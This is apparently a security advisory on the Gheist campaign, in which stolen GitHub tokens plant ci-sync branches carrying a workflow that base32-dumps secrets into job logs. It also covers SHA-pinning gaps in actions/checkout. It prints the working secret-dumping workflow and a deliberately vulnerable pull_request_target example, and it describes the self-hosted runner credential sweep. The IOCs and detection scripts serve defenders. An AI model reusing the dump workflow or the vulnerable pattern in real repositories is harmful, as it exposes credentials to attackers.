CVE
Not assigned
CWE
CWE-532, CWE-200, CWE-78, CWE-284, CWE-829
Affected Surface
- GitHub organizations and personal accounts whose tokens were exposed in infostealer logs or earlier CI compromises (850+ accounts and 13,500+ planted `ci-sync-*` branches tracked since 15 September 2026)
- Private GitHub repositories and GitHub Enterprise Server instances, where GitHub's July 2026 `action_required` hold for suspicious public workflows does not apply
- Self-hosted GitHub Actions runners attached to compromised repositories, targeted by the `sync-host` job (`.gdmp_pat`, `.gdmp_patg`, `.gdmp_sweep`) and `/var/run/docker.sock` host-mount sweeps
- GitHub Actions workflows using `pull_request_target`, `workflow_run`, `issue_comment`, or `actions/checkout` pinned to commit SHAs predating the 20 July 2026 fork-checkout protection backports (`< v2.8.0`, `< v3.7.0`, `< v4.4.0`, `< v5.1.0`, `< v6.1.0`)
TL;DR
On 25 and 26 October 2026, Wiz Research published two investigations into GitHub Actions exploitation and residual workflow exposure:
- The Gheist campaign (
13,500+planted branches across850+accounts): Since 15 September 2026, an operator using an API client with the HTTP User-Agentgheisthas taken stolen GitHub personal access tokens and OAuth tokens and created branches matching^ci-sync-[0-9a-z]{6}$across every repository each token can reach. Each branch commits.github/workflows/sync-check.ymlwith the commit messageci: sync config. Instead of posting secrets to an external command-and-control server (as GhostAction did with193.32.204[.]199),sync-check.ymlprintsenv | base32 -w 120andecho -n '${{ toJSON(secrets) }}' | base32 -w 120directly into the GitHub Actions job log, dynamically loops over every repository deployment environment viaenvironment: ${{ matrix.environment }}, downloads the log through the GitHub REST API, and deletes the workflow run seconds later. - Private repositories and self-hosted runners took the hit: Since 28 July 2026, GitHub has held suspicious workflow runs in public repositories in an
action_requiredstate until a collaborator approves them, which blocked every public Gheist run Wiz inspected. That hold does not apply to private repositories or GitHub Enterprise Server. In private enterprise repositories, Gheist completed its runs, deleted the run logs, and used the harvested cloud credentials within hours to enumerate AWS Secrets Manager. On 19 October, the operator added async-hostjob (runs-on: self-hosted) that writes.gdmp_pat,.gdmp_patg, and.gdmp_sweep, scrapes/proc/*/environand 31 secret formats (including Anthropic, Hugging Face, Groq, and NVIDIA API keys), and mounts the host root filesystem through/var/run/docker.sock. - The 2026
actions/checkoutSHA-pinning paradox and residual Pwn Request vectors: In a companion analysis published on 26 October (The Pwn Request Reckoning), Wiz showed that pinningactions/checkoutto a commit SHA released before 20 July 2026 (such asactions/checkout@08eba0b27e820071cde6df949e0beb9ba4906955forv4.3.0) bypasses GitHub’s backported fork-checkout protections (v2.8.0,v3.7.0,v4.4.0,v5.1.0,v6.1.0, andv7.0.0+). Workflows triggered byissue_comment,repository_dispatch, orworkflow_runartifact downloads also remain exploitable ahead of GitHub’s 2 December 2026 defaultpull_request_targetblock on public repositories.
What to do now:
- Search all repositories (especially private repositories) for branches matching
^ci-sync-[0-9a-z]{6}$, commits titledci: sync config, and the four.github/workflows/sync-check.ymlblob SHAs below. - Check GitHub Enterprise and organization audit logs for User-Agent
gheistand deleted workflow runs, and check AWS CloudTrail (or GCP/Azure equivalents) for OIDCAssumeRoleWithWebIdentitycalls whosesubclaim referencesref:refs/heads/ci-sync-*. - Inspect self-hosted runners for
.gdmp_pat,.gdmp_patg, and.gdmp_sweep, and update any SHA-pinnedactions/checkoutreferences tov2.8.0,v3.7.0,v4.4.0,v5.1.0,v6.1.0, orv7.0.0+.
Affected systems, campaigns, and workflow patterns
| Target / Component | Scope or affected versions | Mechanism | Fixed version or mitigation |
|---|---|---|---|
GitHub repositories (Gheist campaign) | 13,500+ branches across 850+ accounts (15 Sep to 25 Oct 2026); private repos and GHES execute unblocked | ci-sync-[0-9a-z]{6} branch adds .github/workflows/sync-check.yml (ci: sync config); base32-encodes env and toJSON(secrets) into run logs | Delete ci-sync-* branches, revoke pushing tokens, rotate repo/org/environment secrets, require reviewers on environments |
Self-hosted GitHub Actions runners (Gheist Tool B sync-host) | Repositories with registered self-hosted runners targeted from 19 Oct 2026 onward | Drops .gdmp_pat, .gdmp_patg, .gdmp_sweep; scans 31 token patterns, /proc/*/environ, and mounts host / via /var/run/docker.sock | Rebuild affected runner hosts, rotate instance-role / K8s credentials, use ephemeral runners without Docker socket access |
actions/checkout (pull_request_target & workflow_run) | < v2.8.0, < v3.7.0, < v4.4.0, < v5.1.0, < v6.1.0, all v1.x, and SHA pins predating 20 Jul 2026 | SHA-pinning to pre-20 July 2026 commits skips the backported fork-checkout guard in actions/checkout | Pin to commits at or above v2.8.0, v3.7.0, v4.4.0, v5.1.0, v6.1.0, or v7.0.0 |
GitHub Actions issue_comment & workflow_run workflows | All versions of actions/checkout (including v7) | actions/checkout@v7 does not block refs/pull/N/merge on issue_comment; actions/download-artifact does not taint untrusted PR artifacts | Verify getCollaboratorPermissionLevel and head SHA on issue_comment; never execute files from download-artifact in workflow_run |
Technical analysis
1. How Gheist exfiltrates repository and environment secrets without a C2 server
When the Gheist automation acquires a valid GitHub token (sourced from infostealer logs or earlier supply-chain leaks), it enumerates accessible repositories, clones private repositories in enterprise environments, and creates a branch named ci-sync- followed by six random characters. It then pushes a single unsigned commit authored as the token owner with the message ci: sync config adding .github/workflows/sync-check.yml:
name: sync-check
on: [push]
permissions: {}
jobs:
sync:
runs-on: ubuntu-latest
timeout-minutes: 6
steps:
- name: build
run: |
env | base32 -w 120
echo -n '${{ toJSON(secrets) }}' | base32 -w 120
Three implementation choices allow this 13-line file to drain a repository’s secrets without triggering network-egress alerts:
- Defeating GitHub’s log redactor with
base32 -w 120: GitHub Actions scrubs registered secret strings from build logs only when the exact plaintext string (or a standard transformation GitHub tracks) appears in stdout. Pipingenvand${{ toJSON(secrets) }}throughbase32 -w 120alters the byte stream so the runner prints every secret into the job log in full. permissions: {}does not restrictsecrets: Settingpermissions: {}drops the job’sGITHUB_TOKENpermissions to none, which looks restrictive to static scanners, but GitHub still populates thesecretscontext for every workflow triggered bypush.- Draining environment-scoped production secrets: When a target repository defines GitHub deployment environments (such as
productionorstaging), Tool B queries those environment names beforehand and generates a jobstrategy.matrixwithenvironment: ${{ matrix.environment }}. Any environment that does not require manual reviewer approval hands its environment-scoped secrets to thesyncjob immediately.
Once the push run finishes, the operator’s client (identifying itself with User-Agent: gheist) downloads the job log through the GitHub REST API and deletes the workflow run seconds later.
2. Evolution from Tool A to Tool B’s sync-host self-hosted runner pivot
Wiz tracked two parallel automated variants across the 13,500+ branches:
- Tool A generates a six-character hexadecimal branch suffix (
^ci-sync-[0-9a-f]{6}$) and commits the plainsync-check.ymlfile (Git blob SHAf3da2b8b357dcda02fd455d314be2a95007516a6). - Tool B (active since 28 September 2026) generates a six-character base36 suffix (
^ci-sync-[0-9a-z]{6}$), addstimeout-minutes: 6(blob SHAd09535857a741bbb976bdc084a9a021713133291), and injects per-repository deployment environment matrices.
On 19 October 2026, Tool B added echo X | base32 -w 120 between the env and secrets outputs (blob SHA 1dc5af9cce950aad1eb1546ecce8565b117540c4), which prints LAFA==== as a delimiter for the operator’s log parser. Hours later, on repositories where the token could see a registered self-hosted runner, Tool B added a second job named sync-host (runs-on: self-hosted, blob SHA c665b778b2d822453293003e7ca0bbb2cb08e39d).
The sync-host job writes three temporary helper files on the runner (.gdmp_pat, .gdmp_patg, and .gdmp_sweep) and prints its output under a ===== gdmp-pivot: ===== banner across seven collection stages:
- Host identity, OS details, and user crontabs.
- A recursive filesystem sweep across
$HOME, the runner workspace, and system paths matching 31 credential patterns (including API keys for Anthropic, Hugging Face, Groq, and NVIDIA), SSH private keys,.envfiles, Terraform.tfstatefiles, and shell histories. - Process environment variables read from
/proc/*/environ. - If
/var/run/docker.sockis accessible, a privileged container launch that bind-mounts the runner host’s root filesystem (/) and repeats the credential sweep across the underlying host. - Cloud instance metadata queries for AWS IAM role credentials (plus attempted GCP and Azure metadata checks).
- GitHub Actions and GitLab Runner credential files on disk.
- Kubernetes service account tokens (
/var/run/secrets/kubernetes.io/serviceaccount/token).
Wiz also noted that the compromised account pool overlapped with other operations: on 6 October, 391 accounts renamed ~1,461 repositories to cracked-software lures (fl-studio-crack, solana-sniper-lite); on 18 October, 25 accounts created Windows RDP Runner cryptomining repositories; and on 19 to 20 October, three Gheist victim accounts re-pushed their commits with a DPRK-linked PolinRider loader hidden behind hundreds of whitespace characters at the end of vite.config.js.
3. Why CloudTrail catches Gheist even after workflow logs are deleted
Because GitHub’s 28 July 2026 workflow hold only pauses suspicious runs in public repositories, private repositories execute sync-check.yml as soon as the ci-sync-* branch is pushed. Even after the gheist client deletes the workflow run from GitHub’s UI, pushing the ci-sync-* branch also triggers the repository’s existing on: [push] workflows unless those workflows filter on branches: [main].
When a repository’s normal CI workflow runs on the attacker’s ci-sync-* branch and authenticates to AWS, GCP, or Azure via OpenID Connect (OIDC), the cloud provider’s audit log records the branch name in the OIDC token’s sub claim:
repo:<org>/<repo>:ref:refs/heads/ci-sync-8k2m9p
Wiz observed this exact artifact in AWS CloudTrail (AssumeRoleWithWebIdentity) in enterprise environments where Gheist had already deleted its sync-check run logs.
4. The 2026 actions/checkout SHA-pinning paradox and issue_comment / workflow_run gaps
In its 26 October follow-up (The Pwn Request Reckoning), Wiz audited how GitHub’s 2026 platform hardening affects pull_request_target and related triggers:
- 18 June 2026:
actions/checkout@v7.0.0blocked explicit checkouts of untrusted fork code underpull_request_targetand PR-triggeredworkflow_rununlessallow-unsafe-pr-checkout: trueis set. - 20 July 2026: GitHub backported that protection to
v2.8.0,v3.7.0,v4.4.0,v5.1.0, andv6.1.0(v1was excluded). - 2 December 2026 (scheduled): GitHub will enforce a default event policy blocking
pull_request_targetin public repositories that have not configured an explicit event policy (private and internal repositories are not covered).
Because the fork-checkout block lives inside the JavaScript code of actions/checkout rather than the Actions runner, repositories that followed supply-chain guidance by pinning actions/checkout to a 40-character commit SHA before 20 July 2026 do not get the protection:
# Vulnerable: SHA-pinned to actions/checkout v4.3.0 (predates the 20 July 2026 v4.4.0 backport)
on: pull_request_target
jobs:
pr-check:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@08eba0b27e820071cde6df949e0beb9ba4906955 # v4.3.0
with:
ref: ${{ github.event.pull_request.head.sha }}
In addition, actions/checkout@v7 still allows untrusted fork checkouts when triggered by issue_comment (for example ref: refs/pull/${{ github.event.issue.number }}/merge on a /deploy comment) or when a workflow runs git clone or gh pr checkout directly in a run: step.
IOCs
| Type | Indicator | Context |
|---|---|---|
| HTTP User-Agent | gheist | API client User-Agent used to plant ci-sync-* branches, fetch job logs, and delete workflow runs |
| Git branch pattern | ^ci-sync-[0-9a-z]{6}$ (^ci-sync-[0-9a-f]{6}$ for Tool A) | Short-lived branches created across every repository reachable by a stolen token |
| Git commit & path | Commit message ci: sync config adding .github/workflows/sync-check.yml | Unsigned commit authored as the compromised token’s owner |
| Log & payload markers | toJSON(secrets) }}' | base32 -w 120, LAFA====, ===== gdmp-pivot: ===== | Secret-dump command, base32 separator (echo X | base32 -w 120), and self-hosted runner pivot header |
| Runner file paths | .gdmp_pat, .gdmp_patg, .gdmp_sweep | Helper files written on self-hosted runners by the sync-host job |
| Git blob SHA-1 | f3da2b8b357dcda02fd455d314be2a95007516a6 | .github/workflows/sync-check.yml plain variant (Tool A) |
| Git blob SHA-1 | d09535857a741bbb976bdc084a9a021713133291 | .github/workflows/sync-check.yml timeout-minutes: 6 variant (Tool B) |
| Git blob SHA-1 | 1dc5af9cce950aad1eb1546ecce8565b117540c4 | .github/workflows/sync-check.yml LAFA==== separator variant (Tool B, 19 Oct 2026) |
| Git blob SHA-1 | c665b778b2d822453293003e7ca0bbb2cb08e39d | .github/workflows/sync-check.yml sync-host self-hosted runner variant (Tool B, 19 Oct 2026) |
Detection and remediation
# 1. Check all local and remote branches and git objects for Gheist ci-sync-* branches or blob SHAs
git fetch --all --prune 2>/dev/null || true
git branch -a | grep -E 'ci-sync-[0-9a-z]{6}' || true
git log --all --grep='^ci: sync config$' --oneline -n 20 2>/dev/null || true
for sha in f3da2b8b357dcda02fd455d314be2a95007516a6 \
d09535857a741bbb976bdc084a9a021713133291 \
1dc5af9cce950aad1eb1546ecce8565b117540c4 \
c665b778b2d822453293003e7ca0bbb2cb08e39d; do
git cat-file -e "$sha" 2>/dev/null && echo "FOUND Gheist workflow blob: $sha"
done
# 2. Check self-hosted runner hosts for sync-host (.gdmp_*) pivot artifacts
find / -xdev \( -name '.gdmp_pat' -o -name '.gdmp_patg' -o -name '.gdmp_sweep' \) 2>/dev/null
rg -n 'gdmp-pivot|base32 -w 120|LAFA====' /home /runner /opt/actions-runner /var/log 2>/dev/null
# 3. Audit .github/workflows/ for pre-July-2026 actions/checkout SHA pins and risky triggers
rg -n 'pull_request_target|workflow_run|issue_comment|repository_dispatch|allow-unsafe-pr-checkout|download-artifact|gh (pr checkout|repo clone)|git (clone|fetch)|refs/pull|actions/checkout@v(1|2\.[0-7]|3\.[0-6]|4\.[0-3]|5\.0|6\.0)([^0-9]|$)|\$\{\{[[:space:]]*github\.(event\.|head_ref)' .github/workflows/ 2>/dev/null
# 4. Resolve every SHA-pinned actions/checkout reference against upstream tags
tags=$(git ls-remote --tags https://github.com/actions/checkout)
grep -rhoE 'actions/checkout@[0-9a-f]{40}' .github/workflows/ 2>/dev/null | cut -d@ -f2 | sort -u |
while read -r sha; do
tag=$(echo "$tags" | grep "^$sha" | sed 's#.*refs/tags/##; s#\^{}$##' | sort -V | tail -1)
echo "$sha -> ${tag:-UNKNOWN (verify commit date >= 2026-07-20)}"
done
If you find a ci-sync-* branch, a gheist audit-log entry, or an OIDC role assumption from ref:refs/heads/ci-sync-*:
- Rotate all exposed secrets immediately: Rotate every repository, organization, and deployment-environment secret accessible to the affected repository (including AWS, GCP, Azure, npm, PyPI, Docker, and AI provider keys). Deleting the branch or the workflow run does not invalidate secrets that were already printed into the log and fetched via the API.
- Revoke the pushing token and rebuild affected self-hosted runners: Revoke the PAT or OAuth token that authored the
ci: sync configcommit, inspect the token owner’s workstation for infostealers or PolinRider modifications (vite.config.jstrailing whitespace loaders), and decommission any self-hosted runner that executedsync-host. - Bump SHA-pinned
actions/checkoutrefs: Update any SHA-pinnedactions/checkoutsteps to commits corresponding tov2.8.0+,v3.7.0+,v4.4.0+,v5.1.0+,v6.1.0+, orv7.0.0+, and scope cloud OIDC trust policies to protected branches (ref:refs/heads/main) or reviewer-gated deployment environments.
Timeline
- 2026-06-18 to 2026-07-28: GitHub ships
actions/checkout@v7.0.0(18 June), read-only cache tokens for untrusted triggers (26 June), backported fork-checkout protections inactions/checkoutv2.8.0/v3.7.0/v4.4.0/v5.1.0/v6.1.0(20 July), and anaction_requiredapproval hold for suspicious workflow runs in public repositories (28 July). - 2026-09-15: Wiz Research observes the first Gheist
ci-sync-*branches (Tool A) planting.github/workflows/sync-check.yml. - 2026-09-28:
Tool Blaunches with base36 branch suffixes,timeout-minutes: 6, and dynamic deployment-environment matrices. - 2026-10-19:
Tool Badds theLAFA====base32 separator and thesync-hostjob targeting self-hosted runners via.gdmp_pat,.gdmp_patg,.gdmp_sweep, and/var/run/docker.sock. - 2026-10-25 to 2026-10-26: Wiz Research publishes its technical breakdown of the Gheist campaign (having tracked 13,500+ branches across 850+ compromised accounts) and its companion audit of residual GitHub Actions
pull_request_targetand SHA-pinning bypasses.
From research to remediation
Check whether this pattern exists in your codebase
Turn this research into a remediation workflow. Scan dependencies and package manifests for similar supply-chain risk, then prioritize fixes with reachability context.
References
- Wiz Research (25 October 2026): Gheist, attempted scaled abuse of stolen GitHub tokens stumbles
- Wiz Research (26 October 2026): The Pwn Request reckoning, what still works against GitHub Actions
- ctxsec (26 October 2026): Hunting Gheist ci-sync branches, deleted runs, and OIDC role assumptions
- nulltap (26 October 2026): Attackers use stolen GitHub tokens to drain private repository secrets